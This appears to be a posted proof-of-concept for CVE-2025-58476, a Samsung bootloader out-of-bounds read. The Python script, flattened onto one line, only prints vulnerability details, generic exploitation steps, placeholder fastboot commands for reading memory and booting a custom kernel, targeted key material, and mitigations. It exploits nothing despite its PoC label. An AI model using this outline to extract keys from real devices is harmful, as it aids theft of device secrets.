CVE-2025-58476 三星引导程序越界读取漏洞

#!/usr/bin/env python3 # CVE-2025-58476 PoC - Samsung Bootloader Out-of-Bounds Read # Physical access required import sys import struct def cve_2025_58476_poc(): """ PoC for Samsung Bootloader Out-of-Bounds Read Vulnerability This demonstrates the vulnerability in the bootloader memory access Note: This is a conceptual PoC. Actual exploitation requires: - Physical access to Samsung device - USB debugging or fastboot mode enabled - Custom bootloader exploitation toolkit """ print("="*60) print("CVE-2025-58476 - Samsung Bootloader OOB Read PoC") print("="*60) print("\n[!] This PoC demonstrates the vulnerability concept") print("[!] Physical access to target device is required") print("[!] Device must have USB debugging or fastboot enabled") print() # Vulnerability parameters vuln_info = { "cve_id": "CVE-2025-58476", "affected_component": "Samsung Bootloader", "vulnerability_type": "Out-of-bounds Read", "attack_vector": "Physical (AV:P)", "cvss_score": 4.2, "severity": "MEDIUM" } print("[*] Vulnerability Information:") for key, value in vuln_info.items(): print(f" {key}: {value}") print("\n[*] Exploitation Steps:") steps = [ "1. Connect to Samsung device via USB in fastboot/recovery mode", "2. Send crafted memory read commands to bootloader", "3. Trigger out-of-bounds memory access at boundary addresses", "4. Capture leaked memory contents (keys, credentials, etc.)", "5. Analyze extracted data for further exploitation" ] for step in steps: print(f" {step}") print("\n[*] Example Fastboot Command Structure:") print(" fastboot oem memread <boundary_address> <length>") print(" fastboot boot custom_exploit_kernel.img") print("\n[*] Expected Memory Regions to Leak:") regions = [ "- Kernel command line arguments", "- Boot partition memory mappings", "- Hardware-backed key storage references", "- Device-specific cryptographic materials" ] for region in regions: print(f" {region}") print("\n[*] Mitigation:") print(" - Update to SMR Dec-2025 Release 1 or later") print(" - Disable USB debugging when not in use") print(" - Restrict physical access to devices") print("\n" + "="*60) return True if __name__ == "__main__": cve_2025_58476_poc()